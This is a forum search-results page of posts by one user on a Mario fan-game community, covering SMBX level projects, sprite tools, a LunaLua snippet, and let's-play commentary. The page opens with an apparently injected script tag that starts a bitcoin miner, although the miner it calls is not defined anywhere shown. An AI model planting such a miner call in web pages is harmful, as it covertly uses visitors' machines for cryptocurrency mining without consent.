<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmbx communitysmw central

Search found 1204 matches

Go to advanced search

by ztarwuff
5 months ago
Forum: A2XT
Topic: A2MBXT - Graphics
Replies: 986
Views: 88389

Re: A2MBXT - Graphics

Ittababy wrote: I'm sort of bad at animating, but here's an idea to replace the new berry npc:
pepper.gif
A spicy chili~!
That's really neat.

The one thing I've never understood is why the fire flower replacement is a cactus and not a chilli pepper.
by ztarwuff
5 months ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 12515

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

Progress report! I've actually overcome my problem from 4 weeks ago. Everything's good. I'm currently working on some bosses, creating my own air meter (or rather: cold water meter) and trying to solve the Bridges of Königsberg puzzle. The latter I'm trying to put into the ice stage; to win a leek, ...
by ztarwuff
5 months ago
Forum: SMBX2 (Current - 2.0 Beta 3)
Topic: Automatically Mirror Player Sheets
Replies: 4
Views: 1458

Re: Automatically Mirror Player Sheets

It would pick up the grid, but you can use layers. Hoeloe made this image a while ago that helps align sprites: http://i.imgur.com/1dnW3g3.png I tend to use a variation which further subdivides each cell, so that I can easily find the center and a reasonable "ground": https://i.imgur.com/RkqOOk3.pn...
by ztarwuff
5 months ago
Forum: SMBX2 (Current - 2.0 Beta 3)
Topic: Automatically Mirror Player Sheets
Replies: 4
Views: 1458

Re: Automatically Mirror Player Sheets

This is a plugin for Paint.NET that automatically mirrors the right half of a player spritesheet onto the left half. It has no concept of any horizontal anchoring of individual frames, so it assumes that all sprites are properly centered. Credits to rocky for giving me the idea. He's doing the same...
by ztarwuff
6 months ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 12515

El Gurdyioza Update

Just a little update on progress. I've hit a slight snag in the number of leeks I need, which necessitated me restructuring the levels and normalising the number of leeks per level. In Wohlstand's PGE, this isn't so bad, as its copy and paste function is fantastic (as is its clone section ability) b...
by ztarwuff
6 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - Not Just An Ordinary Ballerina

I have no idea why raocow keeps using the katana when he's consistently complaining about it. Stupid elephants You're really awkward to hit by the way. Also, I'd like to congratulate raocow on getting that sacred orb. That's the part I'm stuck at. I've got the right software combination to make it e...
by ztarwuff
6 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - their angelical understanding

And it's not so "all but" as suggested. One of the Patapons has figured out a repeatable method for damage boosting up there post-sub-boss and is ready to share *if* that is needed. Damage boosting off one of the bat/demon things in the room? If that's the case then I personally find that significa...
by ztarwuff
7 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - Dual Transform

Voltgloss wrote: - [Archaeology Dictionary: Anunnaki] Resembles the mural of a god in Sumerian mythology. There are theories that they are aliens from the planet Nibiru.

Image
Oh yeah, completely forgot about that one.
by ztarwuff
7 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - Dual Transform

I was kind of screaming at the screen around 05:30. It was really weird how raocow completely ignored that ladder, even whilst standing on top of it. I mean, luckily, he saw it in the end, but he got so turned around it didn't even register in his mind that tablet was the same one he said was in a "...
by ztarwuff
7 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - Moonmist

Honestly, on my play through, I didn't see the resemblance, but there's totally a

Michael Jackson cameo

there.
by ztarwuff
7 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - Slap That Fish

Unless, I'm misinterpreting (and mis-remembering things) I love how raocow stumbled across the solution to the red jewel puzzle by accident.
by ztarwuff
7 months ago
Forum: project showcase
Topic: Super Mario Kart: Retread (tentative title)
Replies: 6
Views: 1610

Re: Super Mario Kart: Retread (tentative title)

(tentative title, very likely will change later -- just dunno what to call it for now!) WIP SMK hack I've been working on for a little over a week. Aiming to redraw all of the track artwork & change the themes up, on top of changing the layouts. It's about 25% done. :pal: That's really cool! This m...
by ztarwuff
7 months ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1206
Views: 43107

Re: La-Mulana - Infidel

Giant anthro frilled lizard i want to marry this? i want to love this? i want to kiss this? i want to ask this out for a coffee or two and strike a relationship with this? i want to surprise this with a beautiful diamond ring and ask if this would be my loving husband? i want to share a bed with th...
by ztarwuff
8 months ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 12515

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

You should probably ask around for help on like Codehaus or something, try to study the documentation if you haven't already. Make notes for you to reference later as you do your thang, instead of trying to memorize Everything . I'd try to give you a hand but I don't know the ins and outs of SMBX, ...
by ztarwuff
8 months ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 12515

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

Lookin' good. Are you making the map screen in Lua or? This is the LunaLua code I'm currently using. local map = Graphics.loadImage("map.png") local Obtain = false function onTick() --Map Display if (mapdraw == true and Obtain == true) then Graphics.drawImageWP(map, 24, 24, 4) end end function onIn...
by ztarwuff
8 months ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 12515

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

Now that raocow is playing La Mulana , to which this project is kind of inspired by, I thought I'd give a progress update. Yes, there's a section of the game that's inspired by THAT level in La Mulana . Hopefully, though I've left enough visual cues to stop it from being too frustrating. Also, I've ...
by ztarwuff
11 months ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7044
Views: 395750

Re: Mega Man Zero 4 - Absolute Zero

And now the cover art for the game's remastered sountrack, Physis, might make more sense to some people.

Who wants to hear the final boss music remixed?

by ztarwuff
11 months ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 12515

Re: El Gurdyioza: Good News!

I managed to fix my copy of the original SMBX editor not too long after my last post, and I've made some serious headway. I've been doing some minor tweaks of the completed stages, and have nearly completed Stages 4: Chamber of Revolution and Stage 5: [INFORMATION REDACTED]. Stage 4: Chamber of Revo...
by ztarwuff
11 months ago
Forum: A2XT
Topic: THE PLAN
Replies: 87
Views: 18501

Re: THE PLAN

I'm still waiting on a finalised list of levels for World 6. The removal of a certain someone's levels from World 6, not to mention improvements in graphics rendering, completely tanked my end of world level. Depending on the new list, I may need to redo the entire level from scratch.
by ztarwuff
11 months ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7044
Views: 395750

Re: Mega Man Zero 4 - Absolute Zero

So, the midboss music is the fourth remix of the song Crash.



In Mega Man Zero, Crash was the boss theme.

That theme then got relegated to mini-boss themes for the remainder of the series.
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7044
Views: 395750

Re: Mega Man Zero 4 - Absolute Zero

Super Llama wrote: I love that Zero is basically fighting an entire squad of Captain Planet villains in this game
You know, I just realised something. This game is Sonic SatAM the game, but with Mega Man characters and a lot edgier.
by ztarwuff
1 year ago
Forum: A2XT
Topic: A2MBXT - Graphics
Replies: 986
Views: 88389

Re: A2MBXT - Graphics

Whilst working on my SMBXtroidvania idea again (I managed to fix my old copy of SMBX), I noticed something off about the bullet bill replacement graphics. I was always misjudging their size, so when I looked at the graphic file, I noticed the outline was much thicker than normal, which gave the impr...
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7044
Views: 395750

Re: Mega Man Zero 3 - Omega Man

Also: https://www.youtube.com/watch?v=qy-hxYg6hAU This entire album is amazing, by the way, I've kept linking things from it. Check it out in full! Yup. That music is a fan favourite, as far as I can tell. It was remastered for the Rockman Zero 3 soundtrack, Telos, and the Mega Man Zero Collection ...
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7044
Views: 395750

Re: Mega Man Zero 3 - Omega Man

Oh dear. raocow missed the secret boss. I wish those people who were hinting on the Youtube comments for raocow to "go on the Internet" had phrased themselves differently. He did exactly as asked, and this was the result. Anyway, today's level has had its music remastered at least twice. Once for th...
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7044
Views: 395750

Re: Mega Man Zero 3 - Omega Man

I'd actually recommend doing cleanup after the next level. There's a thing hidden in the next level, and it's, well, I'll just say it's something you wouldn't want to append to a regular level's video. It would work a lot better as the conclusion to the cleanup. Yeah, I tackled the secret boss last...

Go to advanced search